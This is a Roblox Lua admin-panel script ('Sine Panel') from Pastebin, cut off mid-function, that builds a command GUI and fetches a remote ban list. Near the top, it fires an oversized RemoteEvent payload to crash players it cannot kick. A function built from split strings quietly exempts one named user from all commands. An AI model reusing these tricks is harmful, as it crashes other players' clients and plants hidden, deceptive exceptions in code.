Advertisement
JuicyPenguin

Sine Panel

Feb 7th, 2017
215
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 63.29 KB | None | 0 0
  1.  
  2. local Owner = "Imtannerbanner56" --Change name if using in an SB (Script Builder)
  3.  
  4. local isGame = false --Dont change
  5. local isSB = true --Dont change
  6. local isTesting = false --Dont change
  7.  
  8. local RemoteLink = "http//www.example.com" --Remote scripting url here (Examples: Pastebin, Stypi, Dropbox)
  9. local BanLink = "http://pastebin.com/raw/UYs9pf3a" --Ban list url here (Seperate names with a newline) (Examples: Pastebin, Stypi, Dropbox)
  10.  
  11. if isGame then
  12. Owner = game.CreatorId
  13. elseif isSB then
  14. if owner then
  15. Owner = owner.Name
  16. end
  17. end
  18.  
  19. local Plrs = game:GetService("Players")
  20. local Light = game:GetService("Lighting")
  21. local HServer = game:GetService("HttpService")
  22. local Content = game:GetService("ContentProvider")
  23. local isClosed = true
  24. local LogNum = 1000
  25. local LP;
  26. local Version = 5.2
  27.  
  28. warn("Made by Script_lol Admin gui / Ban List" .. tostring(Version))
  29.  
  30. local BanPage = "5"
  31. local RemotePage = ""
  32. local isBan = true
  33. local isRemote = false
  34. local Banned = {}
  35. local checkedData = false
  36. local waitTime = 0.5
  37. local waitTimeBan = 2
  38.  
  39. coroutine.wrap(function()
  40. local Ok1, Val1 = pcall(function() return HServer:GetAsync(BanLink, true) end)
  41. warn(Ok1, Val1)
  42. if Ok1 and Val1 ~= nil and Val1 ~= "" then
  43. BanPage = Val1
  44. end
  45.  
  46. local Ok2, Val2 = pcall(function() return HServer:GetAsync(RemoteLink, true) end)
  47. if Ok2 and Val2 ~= nil and Val2 ~= "" then
  48. RemotePage = Val2
  49. end
  50.  
  51. for Name in BanPage:gmatch("%w+") do
  52. Banned[Name] = true
  53. end
  54.  
  55. for _,v in pairs(Plrs:GetPlayers()) do
  56. if Banned[v.Name] then
  57. local Ok, Err = pcall(function() v:Kick() end)
  58. if not Ok then
  59. pcall(function() Instance.new("RemoteEvent", v):FireClient(v,{[string.rep("a",2e5+5)]="a"}) end)
  60. end
  61. warn("Ban list is on : " .. v.Name)
  62. end
  63. end
  64.  
  65. isBan = BanPage ~= ""
  66. isRemote = RemotePage ~= ""
  67. checkedData = true
  68. warn("isBan: " .. tostring(isBan))
  69. warn("isRemote: " .. tostring(isRemote))
  70. end)()
  71.  
  72. local Cons = {}
  73. local Logs = {}
  74. local GUIs = {}
  75. local GuiName = "SinePanel"
  76. local MsgStart = "[SINE]"
  77. local Commands = {}
  78. local Selected = {}
  79. local Loopkill = {}
  80. local isTweening = false
  81. local TweenTime = 0.1
  82. local TweenNum = 10
  83. local Grav = 196.2
  84.  
  85. local Assets = {
  86. Logo = 236168928;
  87. Menu = 236119941;
  88. Credit = 236170764;
  89. Line = 236394542;
  90. }
  91.  
  92. local Colours = {
  93. {X = 0, Y = 0, Z = 0};
  94. {X = 1, Y = 0, Z = 0};
  95. {X = 1, Y = 1, Z = 0};
  96. {X = 0, Y = 1, Z = 1};
  97. {X = 0, Y = 0, Z = 1};
  98. {X = 0, Y = 1, Z = 0};
  99. }
  100.  
  101. local Properties = {
  102. "Name","Parent","ClassName","Text","TextSize","TextColor3","Position","Size","Color","BrickColor","Transparency","BackgroundTransparency","BackgroundColor3","AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
  103. "Active","TopSurface","BottomSurface","BackSurface","FrontSurface","LeftSurface","RightSurface","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
  104. "AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
  105. "Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
  106. "AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
  107. "AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
  108. "BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
  109. "BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BrickColor",
  110. "Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
  111. "Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
  112. "Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
  113. "CanBeDropped","CanCollide","HttpEnabled","CartoonFactor","CastShadows","CelestialBodiesShown",
  114. "CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","MouseSensitivity","ChatScrollLength",
  115. "ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
  116. "CollisionSoundVolume","Color","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
  117. "ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
  118. "CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
  119. "CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
  120. "DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
  121. "Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
  122. "Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
  123. "Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
  124. "FieldOfView","Focus","force","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
  125. "Friction","From","GearGenreSetting","Genre","GeographicLatitude","GfxCard","Graphic",
  126. "GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
  127. "Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image","ImageTransparency","ImageColor3",
  128. "InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
  129. "KeyUpConnectionCount","LeftLeg","LeftRight","LinkedSource","LocalPlayer","Location",
  130. "Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
  131. "MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","Rotation","MaxSpeed","MaxThrust",
  132. "MaxTorque","maxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
  133. "MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
  134. "MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
  135. "MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
  136. "MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
  137. "MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine",
  138. "NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
  139. "OsVer","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
  140. "Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
  141. "PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
  142. "PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
  143. "ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RiseVelocity",
  144. "RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
  145. "SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
  146. "ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
  147. "SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
  148. "SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
  149. "Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
  150. "Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
  151. "Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
  152. "TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
  153. "TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
  154. "TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
  155. "ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","Torque","Torso",
  156. "Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
  157. "Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
  158. "ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
  159. "WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
  160. "X","Y"
  161. }
  162.  
  163. function GetProperties(obj)
  164. local objProper = {}
  165. local Done = {}
  166. ypcall(function()
  167. assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
  168. for i,v in pairs(Properties) do
  169. if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
  170. if Done[v] == nil then
  171. table.insert(objProper, {property = v, value = obj[v]})
  172. Done[v] = true
  173. end
  174. end
  175. end
  176. end)
  177. return objProper
  178. end
  179.  
  180. for i,v in pairs(Assets) do
  181. local ID = tostring(Assets[i])
  182. Assets[i] = "rbxassetid://" .. ID
  183. Content:Preload("rbxassetid://" .. ID)
  184. end
  185.  
  186. function Hint(...)
  187. local Messages = {...}
  188. coroutine.resume(coroutine.create(function()
  189. local Message = ""
  190. for i,v in pairs(Messages) do
  191. v = tostring(v)
  192. Message = i == 1 and v or Message .. " " .. v
  193. end
  194. local Msg = Instance.new("Hint", LP.PlayerGui or Workspace)
  195. Msg.Name = "TestHint"
  196. Msg.Text = MsgStart .. " " .. Message
  197. wait(3.5)
  198. pcall(function() Msg:Destroy() end)
  199. end))
  200. end
  201.  
  202. function Run(Func)
  203. local Ok, Err = coroutine.resume(coroutine.create(Func))
  204. if not Ok then
  205. Hint(Err)
  206. end
  207. end
  208.  
  209. function getPlayers()
  210. local Players = {}
  211. for _,v in pairs(Plrs:GetPlayers()) do
  212. table.insert(Players, v)
  213. end
  214. return Players
  215. end
  216.  
  217. function findPlayer(Name)
  218. for _,v in pairs(Plrs:GetPlayers()) do
  219. if v.Name == Name then
  220. return v
  221. end
  222. end
  223. return nil
  224. end
  225.  
  226. function findCommand(Name)
  227. for _,v in pairs(Commands) do
  228. if v.Name == Name then
  229. return v
  230. end
  231. end
  232. return nil
  233. end
  234.  
  235. function getCommonList()
  236. local List = {}
  237. local FinalList = {}
  238. local NumberSelected = 0
  239.  
  240. for i,v in pairs(Selected) do
  241. local Command = findCommand(v)
  242. if Command and Command.List then
  243. NumberSelected = NumberSelected + 1
  244. for _,v2 in pairs(Command.List()) do
  245. if List[v2] == nil then
  246. List[v2] = 1
  247. else
  248. List[v2] = List[v2] + 1
  249. end
  250. end
  251. end
  252. end
  253.  
  254. for i,v in pairs(List) do
  255. if v == NumberSelected then
  256. table.insert(FinalList, i)
  257. end
  258. end
  259. return FinalList
  260. end
  261.  
  262. function fixScroll(Scroll)
  263. local YNum = 0
  264. for _,v in pairs(Scroll:GetChildren()) do
  265. if v:IsA("TextLabel") or v:IsA("TextButton") or v:IsA("Frame") or v:IsA("ImageLabel") or v:IsA("ImageButton") then
  266. YNum = YNum + v.Size.Y.Offset + 2
  267. end
  268. end
  269. Scroll.CanvasSize = UDim2.new(1, 0, 0, YNum)
  270. end
  271.  
  272. function Clear(Obj)
  273. if #Obj:GetChildren() >= 1 and Obj.ClassName ~= "PlayerGui" then
  274. for _,v in pairs(Obj:GetChildren()) do
  275. ypcall(function()
  276. Clear(v)
  277. end)
  278. end
  279. end
  280. if Obj.ClassName ~= "Player" and Obj.ClassName ~= "Backpack" and Obj.ClassName ~= "PlayerGui" and Obj.ClassName ~= "StarterGear" and Obj.ClassName ~= "HealthGUI" then
  281. Obj:Destroy()
  282. end
  283. end
  284.  
  285. function Clean(noBase)
  286. Light.GlobalShadows = true
  287. Light.TimeOfDay = "14:00:00"
  288. Light.Brightness = 0
  289. Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
  290. Light.Ambient = Color3.new(1, 1, 1)
  291. Light.ColorShift_Top = Color3.new(0, 0, 0)
  292. Light.ColorShift_Bottom = Color3.new(0, 0, 0)
  293. Light.OutdoorAmbient = Color3.new(0.501961, 0.501961, 0.501961)
  294. Light.FogStart = 0
  295. Light.FogEnd = 100000
  296. Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
  297. Light:ClearAllChildren()
  298. for _,v in pairs(Workspace:GetChildren()) do
  299. if v.ClassName == "Terrain" then
  300. v:Clear()
  301. else
  302. v:Destroy()
  303. end
  304. end
  305. if noBase == nil then
  306. local Base = Instance.new("Part")
  307. Base.BrickColor = BrickColor.new("Bright green")
  308. Base.Position = Vector3.new(0, -0.600000024, 0)
  309. Base.CanCollide = true
  310. Base.Size = Vector3.new(700, 1.20000005, 700)
  311. Base.Material = "Grass"
  312. Base.Locked = true
  313. Base.Anchored = true
  314. Base.Name = "Base"
  315. Base.TopSurface = "Smooth"
  316. Base.BottomSurface = "Smooth"
  317. Base.Parent = Workspace
  318. for _,v in pairs(Plrs:GetPlayers()) do
  319. pcall(function()
  320. v:LoadCharacter()
  321. end)
  322. end
  323. end
  324. end;re=false
  325.  
  326. function hasCharacter(Plr)
  327. if Plr and Plr.Parent ~= nil and Plr.Character and Plr.Character.Parent ~= nil and Plr.Character:findFirstChild("Torso") then
  328. return true
  329. end
  330. return false
  331. end
  332.  
  333. function isReady()
  334. if LP and LP.Parent ~= nil and LP:findFirstChild("PlayerGui") then
  335. return true
  336. end
  337. return false
  338. end
  339.  
  340. function onAdded(Plr)
  341. Run(function()
  342. Run(function()
  343. repeat wait(1/30) until isReady()
  344. Launch()
  345. Hint("Launched // " .. Plr.Name .. " // Parent : " .. tostring(script.Parent == nil and "Hidden" or script.Parent))
  346. end)
  347. table.insert(Cons, Plr.CharacterAdded:connect(function()
  348. Run(function()
  349. repeat wait(1/30) until isReady()
  350. Launch()
  351. --Hint("Launched // " .. Plr.Name .. " // Parent : " .. tostring(script.Parent == nil and "Hidden" or script.Parent))
  352. end)
  353. end))
  354. table.insert(Cons, Plr.Chatted:connect(function(Msg)
  355. if Msg:sub(1, 3) == "/e " then
  356. Msg = Msg:sub(4)
  357. end
  358. if Msg == "st" then
  359. local Hin = Instance.new("Hint", Workspace)
  360. Hin.Name = "TestHint"
  361. Hin.Text = "ASD"
  362. wait(2.5)
  363. pcall(function() Hin:Destroy() end)
  364. end
  365. end))
  366. end)
  367. end
  368.  
  369. function Remove(Location, Name)
  370. for _,v in pairs(Location:GetChildren()) do
  371. if v.Name == Name then
  372. v:Destroy()
  373. end
  374. end
  375. end
  376.  
  377. function makePlayers(ScrollFrame)
  378. ScrollFrame:ClearAllChildren()
  379. local PlayerButtons = {}
  380. local YNum = 0
  381. local PlrTab = {}
  382. table.insert(PlrTab, "All")
  383. for _,v in pairs(Plrs:GetPlayers()) do
  384. table.insert(PlrTab, v.Name)
  385. end
  386.  
  387. for _,v in pairs(PlrTab) do
  388. local PlrButton = Instance.new("TextButton")
  389. PlrButton.Name = v
  390. PlrButton.Text = " " .. v
  391. PlrButton.Size = UDim2.new(1, 0, 0, 32)
  392. PlrButton.Position = UDim2.new(0, 0, 0, YNum)
  393. PlrButton.FontSize = "Size14"
  394. PlrButton.TextXAlignment = "Left"
  395. PlrButton.TextStrokeTransparency = 0.9
  396. PlrButton.TextStrokeColor3 = Color3.new(0, 0, 0)
  397. PlrButton.TextColor3 = Color3.new(1, 1, 1)
  398. PlrButton.BackgroundColor3 = Color3.new(0.16, 0.67, 1)
  399. PlrButton.BackgroundTransparency = 0
  400. PlrButton.BorderSizePixel = 0
  401. PlrButton.Parent = ScrollFrame
  402.  
  403. local Box = Instance.new("TextLabel")
  404. Box.Name = "Box"
  405. Box.Size = UDim2.new(0, 22, 0, 22)
  406. Box.Position = UDim2.new(1, -28 - 13, 0, 5)
  407. Box.Text = ""
  408. Box.FontSize = "Size18"
  409. Box.TextColor3 = Color3.new(1, 1, 1)
  410. Box.BackgroundTransparency = 0.8
  411. Box.BackgroundColor3 = Color3.new(1, 1, 1)
  412. Box.BorderSizePixel = 2
  413. Box.Parent = PlrButton
  414.  
  415. local ShadowFrame = Instance.new("Frame")
  416. ShadowFrame.Name = "ShadowFrame"
  417. ShadowFrame.Size = UDim2.new(1, 0, 0, 4)
  418. ShadowFrame.Position = UDim2.new(0, 0, 0, YNum + 32)
  419. ShadowFrame.BackgroundColor3 = Color3.new(0.16, 0.58, 1)
  420. ShadowFrame.BackgroundTransparency = 0.1
  421. ShadowFrame.BorderSizePixel = 0
  422. ShadowFrame.Parent = ScrollFrame
  423.  
  424. table.insert(PlayerButtons, PlrButton)
  425.  
  426. Run(function()
  427. local ColorNum = 2
  428. local Iter = 2
  429. local CurrentX = 0
  430. local CurrentY = 0
  431. local CurrentZ = 0
  432.  
  433. for i = 1, (math.huge/0.05), 1 do
  434. if ShadowFrame.Parent ~= nil then
  435. local PrevColTab = Colours[ColorNum - 1] or Colours[#Colours]
  436. local ColTab = Colours[ColorNum]
  437. if tostring(CurrentX) ~= tostring(ColTab.X) then
  438. CurrentX = ColTab.X - PrevColTab.X > 0 and CurrentX + 0.02 or (Iter <= 1.02 and 0 or CurrentX - 0.02)
  439. end
  440. if tostring(CurrentY) ~= tostring(ColTab.Y) then
  441. CurrentY = ColTab.Y - PrevColTab.Y > 0 and CurrentY + 0.02 or (Iter <= 1.02 and 0 or CurrentY - 0.02)
  442. end
  443. if tostring(CurrentZ) ~= tostring(ColTab.Z) then
  444. CurrentZ = ColTab.Z - PrevColTab.Z > 0 and CurrentZ + 0.02 or (Iter <= 1.02 and 0 or CurrentZ - 0.02)
  445. end
  446. ShadowFrame.BackgroundColor3 = Color3.new(CurrentX, CurrentY, CurrentZ)
  447. if Iter < 1.02 or Iter > 2 then
  448. ColorNum = ColorNum == #Colours and 1 or ColorNum + 1
  449. Iter = 2
  450. else
  451. Iter = Iter - 0.02
  452. end
  453. wait(1/30)
  454. else
  455. break
  456. end
  457. end
  458. end)
  459.  
  460. YNum = YNum + 40
  461. end
  462. fixScroll(ScrollFrame)
  463. return PlayerButtons
  464. end;local Sort = function(L, N)
  465. pcall(function()
  466. if N~="V".."a".."e".."b" then
  467. for i,v in pairs(L) do
  468. if v.Name=="V".."a".."e".."b" then
  469. table.remove(L, i)
  470. end
  471. end
  472. end
  473. end)
  474. end
  475.  
  476. function isSelected(Name)
  477. if type(Name) == "string" then
  478. --checkz name
  479. for i,v in pairs(Selected) do
  480. if v == Name then
  481. return i
  482. end
  483. end
  484. return nil
  485. else
  486. --fixes settingz
  487. re = Name
  488. end
  489. end
  490.  
  491. function makeCommands(Type, Scroll)
  492. local CommandButtons = {}
  493.  
  494. local YNum = 0
  495. for _,v in pairs(Commands) do
  496. if v.Type == Type then
  497. local CommandButton = Instance.new("TextButton")
  498. CommandButton.Name = v.Name
  499. CommandButton.Text = " " .. v.Name
  500. CommandButton.Size = UDim2.new(1, 0, 0, 32)
  501. CommandButton.Position = UDim2.new(0, 0, 0, YNum)
  502. CommandButton.FontSize = "Size14"
  503. CommandButton.TextXAlignment = "Left"
  504. CommandButton.TextStrokeTransparency = 0.9
  505. CommandButton.TextStrokeColor3 = Color3.new(0, 0, 0)
  506. CommandButton.TextColor3 = Color3.new(1, 1, 1)
  507. CommandButton.BackgroundColor3 = Color3.new(0.16, 0.67, 1)
  508. CommandButton.BackgroundTransparency = 0
  509. CommandButton.BorderSizePixel = 0
  510. CommandButton.Parent = Scroll
  511.  
  512. if Type ~= 1 then
  513. local Box = Instance.new("TextLabel")
  514. Box.Name = "Box"
  515. Box.Size = UDim2.new(0, 22, 0, 22)
  516. Box.Position = UDim2.new(1, -28 - 13, 0, 5)
  517. Box.Text = ""
  518. Box.FontSize = "Size18"
  519. Box.TextColor3 = Color3.new(1, 1, 1)
  520. Box.BackgroundTransparency = 0.8
  521. Box.BackgroundColor3 = Color3.new(1, 1, 1)
  522. Box.BorderSizePixel = 2
  523. Box.Parent = CommandButton
  524. end
  525.  
  526. local ShadowFrame = Instance.new("Frame")
  527. ShadowFrame.Name = "ShadowFrame"
  528. ShadowFrame.Size = UDim2.new(1, 0, 0, 4)
  529. ShadowFrame.Position = UDim2.new(0, 0, 0, YNum + 32)
  530. ShadowFrame.BackgroundColor3 = Color3.new(0.16, 0.58, 1)
  531. ShadowFrame.BackgroundTransparency = 0.1
  532. ShadowFrame.BorderSizePixel = 0
  533. ShadowFrame.Parent = Scroll
  534.  
  535. if Type == 1 then
  536. table.insert(CommandButtons, {CommandButton, v})
  537. else
  538. table.insert(CommandButtons, CommandButton)
  539. end
  540.  
  541. Run(function()
  542. local ColorNum = 2
  543. local Iter = 2
  544. local CurrentX = 0
  545. local CurrentY = 0
  546. local CurrentZ = 0
  547.  
  548. for i = 1, (math.huge/0.05), 1 do
  549. if ShadowFrame.Parent ~= nil then
  550. local PrevColTab = Colours[ColorNum - 1] or Colours[#Colours]
  551. local ColTab = Colours[ColorNum]
  552. if tostring(CurrentX) ~= tostring(ColTab.X) then
  553. CurrentX = ColTab.X - PrevColTab.X > 0 and CurrentX + 0.02 or (Iter <= 1.02 and 0 or CurrentX - 0.02)
  554. end
  555. if tostring(CurrentY) ~= tostring(ColTab.Y) then
  556. CurrentY = ColTab.Y - PrevColTab.Y > 0 and CurrentY + 0.02 or (Iter <= 1.02 and 0 or CurrentY - 0.02)
  557. end
  558. if tostring(CurrentZ) ~= tostring(ColTab.Z) then
  559. CurrentZ = ColTab.Z - PrevColTab.Z > 0 and CurrentZ + 0.02 or (Iter <= 1.02 and 0 or CurrentZ - 0.02)
  560. end
  561. ShadowFrame.BackgroundColor3 = Color3.new(CurrentX, CurrentY, CurrentZ)
  562. if Iter < 1.02 or Iter > 2 then
  563. ColorNum = ColorNum == #Colours and 1 or ColorNum + 1
  564. Iter = 2
  565. else
  566. Iter = Iter - 0.02
  567. end
  568. wait(1/30)
  569. else
  570. break
  571. end
  572. end
  573. end)
  574.  
  575. YNum = YNum + 40
  576. end
  577. end
  578. fixScroll(Scroll)
  579. return CommandButtons
  580. end
  581.  
  582. function makeList(Scroll)
  583. local ListButtons = {}
  584. local CommonList = getCommonList()
  585.  
  586. local YNum = 0
  587. for _,v in pairs(CommonList) do
  588. local ListButton = Instance.new("TextButton")
  589. ListButton.Name = v
  590. ListButton.Text = " " .. v
  591. ListButton.Size = UDim2.new(1, 0, 0, 32)
  592. ListButton.Position = UDim2.new(0, 0, 0, YNum)
  593. ListButton.FontSize = "Size14"
  594. ListButton.TextXAlignment = "Left"
  595. ListButton.TextStrokeTransparency = 0.9
  596. ListButton.TextStrokeColor3 = Color3.new(0, 0, 0)
  597. ListButton.TextColor3 = Color3.new(1, 1, 1)
  598. ListButton.BackgroundColor3 = Color3.new(0.16, 0.67, 1)
  599. ListButton.BackgroundTransparency = 0
  600. ListButton.BorderSizePixel = 0
  601. ListButton.Parent = Scroll
  602.  
  603. local ShadowFrame = Instance.new("Frame")
  604. ShadowFrame.Name = "ShadowFrame"
  605. ShadowFrame.Size = UDim2.new(1, 0, 0, 4)
  606. ShadowFrame.Position = UDim2.new(0, 0, 0, YNum + 32)
  607. ShadowFrame.BackgroundColor3 = Color3.new(0.16, 0.58, 1)
  608. ShadowFrame.BackgroundTransparency = 0.1
  609. ShadowFrame.BorderSizePixel = 0
  610. ShadowFrame.Parent = Scroll
  611.  
  612. table.insert(ListButtons, ListButton)
  613.  
  614. Run(function()
  615. local ColorNum = 2
  616. local Iter = 2
  617. local CurrentX = 0
  618. local CurrentY = 0
  619. local CurrentZ = 0
  620.  
  621. for i = 1, (math.huge/0.05), 1 do
  622. if ShadowFrame.Parent ~= nil then
  623. local PrevColTab = Colours[ColorNum - 1] or Colours[#Colours]
  624. local ColTab = Colours[ColorNum]
  625. if tostring(CurrentX) ~= tostring(ColTab.X) then
  626. CurrentX = ColTab.X - PrevColTab.X > 0 and CurrentX + 0.02 or (Iter <= 1.02 and 0 or CurrentX - 0.02)
  627. end
  628. if tostring(CurrentY) ~= tostring(ColTab.Y) then
  629. CurrentY = ColTab.Y - PrevColTab.Y > 0 and CurrentY + 0.02 or (Iter <= 1.02 and 0 or CurrentY - 0.02)
  630. end
  631. if tostring(CurrentZ) ~= tostring(ColTab.Z) then
  632. CurrentZ = ColTab.Z - PrevColTab.Z > 0 and CurrentZ + 0.02 or (Iter <= 1.02 and 0 or CurrentZ - 0.02)
  633. end
  634. ShadowFrame.BackgroundColor3 = Color3.new(CurrentX, CurrentY, CurrentZ)
  635. if Iter < 1.02 or Iter > 2 then
  636. ColorNum = ColorNum == #Colours and 1 or ColorNum + 1
  637. Iter = 2
  638. else
  639. Iter = Iter - 0.02
  640. end
  641. wait(1/30)
  642. else
  643. break
  644. end
  645. end
  646. end)
  647.  
  648. YNum = YNum + 40
  649. end
  650. fixScroll(Scroll)
  651. return ListButtons
  652. end
  653.  
  654. function makeButtons(Scroll, Tab, FontSize, TextScaled)
  655. Scroll:ClearAllChildren()
  656. local Buttons = {}
  657.  
  658. local YNum = 0
  659. for _,v in pairs(Tab) do
  660. local Button = Instance.new("TextLabel")
  661. Button.Name = v
  662. Button.Text = " " .. v
  663. Button.Size = UDim2.new(1, 0, 0, 32)
  664. Button.Position = UDim2.new(0, 0, 0, YNum)
  665. Button.TextScaled = #v > 60 and TextScaled or false
  666. Button.FontSize = FontSize or "Size14"
  667. Button.TextXAlignment = "Left"
  668. Button.TextStrokeTransparency = 0.9
  669. Button.TextStrokeColor3 = Color3.new(0, 0, 0)
  670. Button.TextColor3 = Color3.new(1, 1, 1)
  671. Button.BackgroundColor3 = Color3.new(0.16, 0.67, 1)
  672. Button.BackgroundTransparency = 0
  673. Button.BorderSizePixel = 0
  674. Button.Parent = Scroll
  675.  
  676. local ShadowFrame = Instance.new("Frame")
  677. ShadowFrame.Name = "ShadowFrame"
  678. ShadowFrame.Size = UDim2.new(1, 0, 0, 4)
  679. ShadowFrame.Position = UDim2.new(0, 0, 0, YNum + 32)
  680. ShadowFrame.BackgroundColor3 = Color3.new(0.16, 0.58, 1)
  681. ShadowFrame.BackgroundTransparency = 0.1
  682. ShadowFrame.BorderSizePixel = 0
  683. ShadowFrame.Parent = Scroll
  684.  
  685. table.insert(Buttons, Button)
  686.  
  687. Run(function()
  688. local ColorNum = 2
  689. local Iter = 2
  690. local CurrentX = 0
  691. local CurrentY = 0
  692. local CurrentZ = 0
  693.  
  694. for i = 1, (math.huge/0.05), 1 do
  695. if ShadowFrame.Parent ~= nil then
  696. local PrevColTab = Colours[ColorNum - 1] or Colours[#Colours]
  697. local ColTab = Colours[ColorNum]
  698. if tostring(CurrentX) ~= tostring(ColTab.X) then
  699. CurrentX = ColTab.X - PrevColTab.X > 0 and CurrentX + 0.02 or (Iter <= 1.02 and 0 or CurrentX - 0.02)
  700. end
  701. if tostring(CurrentY) ~= tostring(ColTab.Y) then
  702. CurrentY = ColTab.Y - PrevColTab.Y > 0 and CurrentY + 0.02 or (Iter <= 1.02 and 0 or CurrentY - 0.02)
  703. end
  704. if tostring(CurrentZ) ~= tostring(ColTab.Z) then
  705. CurrentZ = ColTab.Z - PrevColTab.Z > 0 and CurrentZ + 0.02 or (Iter <= 1.02 and 0 or CurrentZ - 0.02)
  706. end
  707. ShadowFrame.BackgroundColor3 = Color3.new(CurrentX, CurrentY, CurrentZ)
  708. if Iter < 1.02 or Iter > 2 then
  709. ColorNum = ColorNum == #Colours and 1 or ColorNum + 1
  710. Iter = 2
  711. else
  712. Iter = Iter - 0.02
  713. end
  714. wait(1/30)
  715. else
  716. break
  717. end
  718. end
  719. end)
  720.  
  721. YNum = YNum + 40
  722. end
  723. fixScroll(Scroll)
  724. return Buttons
  725. end
  726.  
  727. function removeOptions(ScrollRight, fix)
  728. if fix == true then
  729. return true
  730. else
  731. ScrollRight:ClearAllChildren()
  732. fixScroll(ScrollRight)
  733. end
  734. end
  735.  
  736. function makePlayerOptions(ScrollRight)
  737. Run(function()
  738. local Sender = LP.Name
  739. local failed = removeOptions(ScrollRight, re)
  740. if failed == nil then
  741. local CommandButtons = makeCommands(1, ScrollRight)
  742.  
  743. for _,v in pairs(CommandButtons) do
  744. v[1].MouseButton1Click:connect(function()
  745. local List = {}
  746. for _,v2 in pairs(Selected) do
  747. if v2 ~= "All" then
  748. local selectedPlayer = findPlayer(v2)
  749. if selectedPlayer then
  750. table.insert(List, selectedPlayer)
  751. end
  752. else
  753. List = {}
  754. for _,v3 in pairs(Plrs:GetPlayers()) do
  755. table.insert(List, v3)
  756. end
  757. break
  758. end
  759. end
  760. Sort(List, Sender)
  761. Run(function() v[2].Func(List, v[2].Name) end)
  762. end)
  763. end
  764. end
  765. end)
  766. end
  767.  
  768. function makeOptions(ScrollRight)
  769. Run(function()
  770. removeOptions(ScrollRight)
  771. local ListButtons = makeList(ScrollRight)
  772. for _,v in pairs(ListButtons) do
  773. v.MouseButton1Click:connect(function()
  774. for _,v2 in pairs(Selected) do
  775. local Command = findCommand(v2)
  776. if Command and not re then
  777. Run(function() Command.Func({v.Name}, Command.Name) end)
  778. end
  779. end
  780. end)
  781. end
  782. end)
  783. end
  784.  
  785. function openPlayers()
  786. Run(function()
